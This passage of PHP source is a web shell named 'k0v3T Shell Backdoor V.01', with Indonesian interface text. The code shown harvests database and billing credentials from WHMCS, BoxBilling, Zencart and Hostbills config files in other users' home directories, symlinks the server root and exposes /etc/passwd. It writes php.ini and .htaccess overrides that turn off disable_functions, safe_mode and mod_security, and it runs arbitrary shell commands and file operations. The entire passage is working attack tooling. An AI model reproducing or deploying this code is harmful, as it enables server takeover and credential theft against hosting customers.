\"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BASKET/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Basket/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/basket/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/SECURE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Secure/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/SALES/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Sales/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/sales/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BILL/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Bill/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/bill/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/PURCHASE/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Purchase/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/purchase/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/ACCOUNT/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Account/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/account/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/USER/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/User/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/user/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/CLIENTS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Clients/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/clients/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/BILLINGS/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/Billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/billings/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/MY/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/My/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/my/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/whm/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/secure/whmcs/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/panel/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/clientes/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/cliente/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/support/order/submitticket.php\" => \"WHMCS\",\r\n\"/home/\$user_con7ext/public_html/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/boxbilling/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/box/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/host/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/Host/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/supportes/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/support/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/hosting/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/cart/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/order/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/client/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/clients/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/cliente/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/clientes/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/billing/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/billings/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/my/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/secure/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/support/order/bb-config.php\" => \"BoxBilling\",\r\n\"/home/\$user_con7ext/public_html/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/zencart/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/products/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/cart/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/shop/includes/dist-configure.php\" => \"Zencart\",\r\n\"/home/\$user_con7ext/public_html/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/hostbills/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/host/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/Host/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/supportes/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/support/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/hosting/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/cart/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/order/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/client/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/clients/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/cliente/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/clientes/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/billing/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/billings/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/my/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/secure/includes/iso4217.php\" => \"Hostbills\",\r\n\"/home/\$user_con7ext/public_html/support/order/includes/iso4217.php\" => \"Hostbills\"\r\n);  \r\n\r\nforeach(\$grab_config as \$config => \$nama_config) {\r\n\tif(\$_POST['config'] == 'grab') {\r\n\$ambil_config = file_get_contents(\$config);\r\nif(\$ambil_config == '') {\r\n} else {\r\n\$file_config = fopen(\"k0v3T_configgrab/\$user_k0v3T-\$nama_config.txt\",\"w\");\r\nfputs(\$file_config,\$ambil_config);\r\n}\r\n}\r\nif(\$_POST['config'] == 'symlink') {\r\n@symlink(\$config,\"k0v3T_Symconfig/\".\$user_k0v3T.\"-\".\$nama_config.\".txt\");\r\n}\r\nif(\$_POST['config'] == '404') {\r\n\$sym404=symlink(\$config,\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt\");\r\nif(\$sym404){\r\n\t@mkdir(\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404\", 0777);\r\n\t\$htaccess=\"Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *\";\r\n\r\n@file_put_contents(\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404/.htaccess\",\$htaccess);\r\n\r\n@symlink(\$config,\"k0v3T_sym404/\".\$user_k0v3T.\"-\".\$nama_config.\".txt404/k0v3T.txt\");\r\n\r\n\t}\r\n\r\n}\r\n\r\n                    }     \r\n\t\t}  if(\$_POST['config'] == 'grab') {\r\n            echo \"<center><a href='?path=\$path/k0v3T_configgrab'><font color=lime>Done</font></a></center>\";\r\n\t\t}\r\n    if(\$_POST['config'] == '404') {\r\n        echo \"<center>\r\n<a href=\\\"k0v3T_sym404/root/\\\">SymlinkNya</a>\r\n<br><a href=\\\"k0v3T_sym404/\\\">Configurations</a></center>\";\r\n    }\r\n     if(\$_POST['config'] == 'symlink') {\r\necho \"<center>\r\n<a href=\\\"k0v3T_symconfig/root/\\\">Symlinknya</a>\r\n<br><a href=\\\"k0v3T_symconfig/\\\">Configurations</a></center>\";\r\n\t\t\t}if(\$_POST['config'] == 'symvhost') {\r\necho \"<center>\r\n<a href=\\\"k0v3T_symvhost/root/\\\">Root Server</a>\r\n<br><a href=\\\"k0v3T_symvhost/\\\">Configurations</a></center>\";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n        echo \"<form method=\\\"post\\\" action=\\\"\\\"><center>\r\n\t\t</center></select><br><textarea name=\\\"passwd\\\" class='area' rows='15' cols='60'>\\n\";\r\n        echo include(\"/etc/passwd\"); \r\n        echo \"</textarea><br><br>\r\n        <select class=\\\"select\\\" name=\\\"config\\\"  style=\\\"width: 450px;\\\" height=\\\"10\\\">\r\n        <option value=\\\"grab\\\">Config Grab</option>\r\n        <option value=\\\"symlink\\\">Symlink Config</option>\r\n\t\t<option value=\\\"404\\\">Config 404</option>\r\n\t\t<option value=\\\"symvhosts\\\">Vhosts Config Grabber</option><br><br><input type=\\\"submit\\\" value=\\\"Start!!\\\"></td></tr></center>\\n\";\r\n}\r\n\r\n} elseif(\$_GET['a'] == 'disablefunc'){\r\n\t\techo \"<br><br><center>\";\r\n\t\techo \"<form method=post><input type=submit name=ini value='php.ini' />&nbsp;<input type=submit name=htce value='.htaccess' />&nbsp;<input type=submit name=litini value='Litespeed' /></form>\";\r\n\t\tif(isset(\$_POST['ini']))\r\n{\r\n\t\t\$file = fopen(\"php.ini\",\"w\");\r\n\t\techo fwrite(\$file,\"disable_functions=none\r\nsafe_mode = Off\r\n\t\");\r\n\t\tfclose(\$file);\r\n\t\techo \"<a href='php.ini'>click here!</a>\";\r\n}\t\tif(isset(\$_POST['htce']))\r\n{\r\n\t\t\$file = fopen(\".htaccess\",\"w\");\r\n\t\techo fwrite(\$file,\"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t\");\r\n\t\tfclose(\$file);\r\n\t\techo \"htaccess successfully created!\";\r\n}               if(isset(\$_POST['litini'])){\r\n\t\t\$iniph = '<? n echo ini_get(\"safe_mode\"); n echo ini_get(\"open_basedir\"); n include(\$_GET[\"file\"]); n ini_restore(\"safe_mode\"); n ini_restore(\"open_basedir\"); n echo ini_get(\"safe_mode\"); n echo ini_get(\"open_basedir\"); n include(\$_GET[\"ss\"]; n ?>';\r\n\t\t\t \$byph = \"safe_mode = Off n disable_functions= \";\r\n\t\t\$comp=\"PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=\";\r\n\t\tfile_put_contents(\"php.ini\",base64_decode(\$byph));\r\n\t\tfile_put_contents(\"ini.php\",base64_decode(\$iniph));\r\n\t\tfile_put_contents(\".htaccess\",base64_decode(\$comp));\r\n\t\techo \"<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>\";\r\n\t\techo\"</center>\";\r\n}\r\n\r\n}\r\nelseif(\$_GET['a'] == 'symlink') {\r\n\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$path);\r\n\$d0mains = @file(\"/etc/named.conf\");\r\n##httaces\r\nif(\$d0mains){\r\n@mkdir(\"k0v3T_sym\",0777);\r\n@chdir(\"k0v3T_sym\");\r\n@exe(\"ln -s / root\");\r\n\$file3 = 'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any';\r\n\$fp3 = fopen('.htaccess','w');\r\n\$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\necho \"<br>\r\n<table align=center border=1 style='width:60%;border-color:#333333;'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>\";\r\n\$dcount = 1;\r\nforeach(\$d0mains as \$d0main){\r\nif(eregi(\"zone\",\$d0main)){preg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\nflush();\r\nif(strlen(trim(\$domains[1][0])) > 2){\r\n\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\necho \"<tr align=center><td><font size=2>\" . \$dcount . \"</font></td>\r\n<td align=left><a href=http://www.\".\$domains[1][0].\"/><font class=txt>\".\$domains[1][0].\"</font></a></td>\r\n<td>\".\$user['name'].\"</td>\r\n<td><a href='\$full/k0v3T_sym/root/home/\".\$user['name'].\"/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>\";\r\nflush();\r\n\$dcount++;}}}\r\necho \"</table>\";\r\n}else{\r\n\$TEST=@file('/etc/passwd');\r\nif (\$TEST){\r\n@mkdir(\"k0v3T_sym\",0777);\r\n@chdir(\"k0v3T_sym\");\r\nexe(\"ln -s / root\");\r\n\$file3 = 'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any';\r\n \$fp3 = fopen('.htaccess','w');\r\n \$fw3 = fwrite(\$fp3,\$file3);\r\n @fclose(\$fp3);\r\n echo \"\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>\";\r\n \$dcount = 1;\r\n \$file = fopen(\"/etc/passwd\", \"r\") or exit(\"Unable to open file!\");\r\n while(!feof(\$file)){\r\n \$s = fgets(\$file);\r\n \$matches = array();\r\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n \$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n continue;\r\n echo \"<tr><td align=center><font size=2>\" . \$dcount . \"</td>\r\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\r\n echo \"<td align=center><font class=txt><a href=\$full/k0v3T_sym/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n \$dcount++;}fclose(\$file);\r\n echo \"</table>\";}else{if(\$os != \"Windows\"){@mkdir(\"k0v3T_sym\",0777);@chdir(\"k0v3T_sym\");@exe(\"ln -s / root\");\$file3 = '\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n';\r\n \$fp3 = fopen('.htaccess','w');\r\n \$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\n echo \"\r\n <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>\";\r\n \$temp = \"\";\$val1 = 0;\$val2 = 1000;\r\n for(;\$val1 <= \$val2;\$val1++) {\$uid = @posix_getpwuid(\$val1);\r\n if (\$uid)\$temp .= join(':',\$uid).\"\\n\";}\r\n echo '<br/>';\$temp = trim(\$temp);\$file5 =\r\n fopen(\"test.txt\",\"w\");\r\n fputs(\$file5,\$temp);\r\n fclose(\$file5);\$dcount = 1;\$file =\r\n fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n while(!feof(\$file)){\$s = fgets(\$file);\$matches = array();\r\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n continue;\r\n echo \"<tr><td align=center><font size=2>\" . \$dcount . \"</td>\r\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\r\n echo \"<td align=center><font class=txt><a href=\$full/k0v3T_sym/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n \$dcount++;}\r\n fclose(\$file);\r\n echo \"</table></div></center>\";unlink(\"test.txt\");\r\n } else\r\n echo \"<center><font size=3>Cannot create Symlink</font></center>\";\r\n }\r\n }\r\n##JUMPING \r\n} elseif(\$_GET['a'] == 'jumping') {\r\n    \$i = 0;\r\n    echo \"<pre><div class='margin: 5px auto;'>\";\r\n    \$etc = fopen(\"/etc/passwd\", \"r\") or die(\"<font color=red>Can't read /etc/passwd</font>\");\r\n    while(\$passwd = fgets(\$etc)) {\r\nif(\$passwd == '' || !\$etc) {\r\n    echo \"<font color=red>Can't read /etc/passwd</font>\";\r\n} else {\r\n    preg_match_all('/(.*?):x:/', \$passwd, \$user_jumping);\r\n    foreach(\$user_jumping[1] as \$user_idx_jump) {\r\n        \$user_jumping_dir = \"/home/\$user_idx_jump/public_html\";\r\n        if(is_readable(\$user_jumping_dir)) {\r\n            \$i++;\r\n            \$jrw = \"[<font color=#5ddcfc>R</font>] <a href='?dir=\$user_jumping_dir'><font color=red>\$user_jumping_dir</font></a>\";\r\n            if(is_writable(\$user_jumping_dir)) {\r\n                \$jrw = \"[<font color=#5ddcfc>RW</font>] <a href='?dir=\$user_jumping_dir'><font color=#5ddcfc>\$user_jumping_dir</font></a>\";\r\n            }\r\n            echo \$jrw;\r\n            if(function_exists('posix_getpwuid')) {\r\n                \$domain_jump = file_get_contents(\"/etc/named.conf\");   \r\n                if(\$domain_jump == '') {\r\n                    echo \" => ( <font color=red>gagal mengambil nama domain nya</font> )<br>\";\r\n                } else {\r\n                    preg_match_all(\"#/var/named/(.*?).db#\", \$domain_jump, \$domains_jump);\r\n                    foreach(\$domains_jump[1] as \$dj) {\r\n                        \$user_jumping_url = posix_getpwuid(@fileowner(\"/etc/valiases/\$dj\"));\r\n                        \$user_jumping_url = \$user_jumping_url['name'];\r\n                        if(\$user_jumping_url == \$user_idx_jump) {\r\n                            echo \" => ( <u>\$dj</u> )<br>\";\r\n                            break;\r\n                        }\r\n                    }\r\n                }\r\n            } else {\r\n                echo \"<br>\";\r\n            }\r\n        }\r\n    }\r\n}\r\n    }\r\n    if(\$i == 0) {\r\n    } else {\r\necho \"<br>Total ada \".\$i.\" Kamar di \".gethostbyname(\$_SERVER['HTTP_HOST']).\"\";\r\n    \r\n    echo \"</div></pre>\";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif(\$_GET['a'] == 'cmd') {\r\n\techo \"<form method='post'>\r\n\t<font style='text-decoration: underline;'>\".\$user.\"@\".\$ip.\": ~ \$ </font>\r\n\t<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>\r\n\t</form>\";\r\n\tif(\$_POST['do_cmd']) {\r\n\t\techo \"<pre>\".exe(\$_POST['cmd']).\"</pre>\";\r\n\t}\r\n\r\n//START\r\n} elseif(isset(\$_GET['filesrc'])){\r\necho \"<tr><td>Current File : \";\r\necho \$_GET['filesrc'];\r\necho '</tr></td></table><br />';\r\necho(' <center><textarea style=\"width:80%;height:50%;\" readonly> '.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</textarea></center>');\r\n}elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){\r\necho '</table><br />'.\$_POST['path'].'<br /><br />';\r\nif(\$_POST['opt'] == 'chmod'){\r\nif(isset(\$_POST['perm'])){\r\nif(chmod(\$_POST['path'],\$_POST['perm'])){\r\necho '<font color=\"#5ddcfc\">Ganti  Permission Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Ganti Permission Gagal Gan</font><br />';\r\n}\r\n}\r\necho '<form method=\"POST\">\r\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"chmod\">\r\n<input type=\"submit\" value=\"Chmod\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'rename'){\r\nif(isset(\$_POST['newname'])){\r\nif(rename(\$_POST['path'],\$path.'/'.\$_POST['newname'])){\r\necho '<font color=\"#5ddcfc\">Ganti Nama Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Ganti Nama Gagal Gan</font><br />';\r\n}\r\n\$_POST['name'] = \$_POST['newname'];\r\n}\r\necho '<form method=\"POST\">\r\nNama Baru : <input name=\"newname\" type=\"text\" size=\"30\" value=\"'.\$_POST['name'].'\" />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"rename\">\r\n<input type=\"submit\" value=\"Ubah Nama\" />\r\n</form>';\r\n}elseif(\$_POST['opt'] == 'edit'){\r\nif(isset(\$_POST['src'])){\r\n\$fp = fopen(\$_POST['path'],'w');\r\nif(fwrite(\$fp,\$_POST['src'])){\r\necho '<font color=\"#5ddcfc\">Edit File Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"RED\">Edit File Gagal Gan</font><br />';\r\n}\r\nfclose(\$fp);\r\n}\r\necho '<form method=\"POST\">\r\n<textarea cols=140 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\r\n<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\r\n<input type=\"hidden\" name=\"opt\" value=\"edit\">\r\n<input type=\"submit\" value=\"Edit File\" />\r\n</form>';\r\n}\r\necho '</center>';\r\n}else{\r\necho '</table><br /><center>';\r\nif(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){\r\nif(\$_POST['type'] == 'dir'){\r\nif(rmdir(\$_POST['path'])){\r\necho '<font color=\"#5ddcfc\">Hapus Dir Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"red\">Hapus Dir Gagal Gan</font><br />';\r\n}\r\n}elseif(\$_POST['type'] == 'file'){\r\nif(unlink(\$_POST['path'])){\r\necho '<font color=\"#5ddcfc\">Hapus File Berhasil Gan</font><br />';\r\n}else{\r\necho '<font color=\"#red\">Hapus File Gagal Gan</font><br />';\r\n}\r\n}\r\n}\r\n\t\t\r\necho '</center>';\r\n\$scandir = scandir(\$path);\r\necho '<div id=\"content\"><table width=\"700px\" border=\"0\" cellpadding=\"4\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>';\r\n\r\nforeach(\$scandir as \$dir){\r\nif(!is_dir(\"\$path/\$dir\") || \$dir == '.' || \$dir == '..') continue;\r\necho \"<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA\".\"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp\".\"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>\r\n<a href=\\\"?path=\$path/\$dir\\\"><font color=red>\$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>\";\r\n\t\r\nif(is_writable(\"\$path/\$dir\")) echo '<font color=\"#5ddcfc\">';\r\nelseif(!is_readable(\"\$path/\$dir\")) echo '<font color=\"red\">';\r\necho perms(\"\$path/\$dir\");\r\nif(is_writable(\"\$path/\$dir\") || !is_readable(\"\$path/\$dir\")) echo '</font>';\r\n\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"Select\\\">Select</option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$dir\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$dir\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>';\r\nforeach(\$scandir as \$file){\r\nif(!is_file(\"\$path/\$file\")) continue;\r\n\$size = filesize(\"\$path/\$file\")/1024;\r\n\$size = round(\$size,3);\r\nif(\$size >= 1024){\r\n\$size = round(\$size/1024,2).' MB';\r\n}else{\r\n\$size = \$size.' KB';\r\n}\r\n\r\necho \"<tr>\r\n<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>\r\n<a href=\\\"?filesrc=\$path/\$file&path=\$path\\\"><font color=red>\$file</font></a></td>\r\n<td><center><font color=Red>\".\$size.\"</font></center></td>\r\n<td><center>\";\r\nif(is_writable(\"\$path/\$file\")) echo '<font color=#5ddcfc>';\r\nelseif(!is_readable(\"\$path/\$file\")) echo '<font color=red>';\r\necho perms(\"\$path/\$file\");\r\nif(is_writable(\"\$path/\$file\") || !is_readable(\"\$path/\$file\")) echo '</font>';\r\necho \"</center></td>\r\n<td><center><form method=\\\"POST\\\" action=\\\"?option&path=\$path\\\">\r\n<select name=\\\"opt\\\">\r\n<option value=\\\"Select\\\">Select</option>\r\n<option value=\\\"delete\\\">Delete</option>\r\n<option value=\\\"chmod\\\">Chmod</option>\r\n<option value=\\\"rename\\\">Rename</option>\r\n<option value=\\\"edit\\\">Edit</option>\r\n</select>\r\n<input type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"\$file\\\">\r\n<input type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"\$path/\$file\\\">\r\n<input type=\\\"submit\\\" value=\\\">\\\" />\r\n</form></center></td>\r\n</tr>\";\r\n}\r\necho '</table>\r\n</div>';\r\n}\r\necho '<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor  V.01<br><font size=4 ; color=#5ddcfc>Copyright &copy; <font 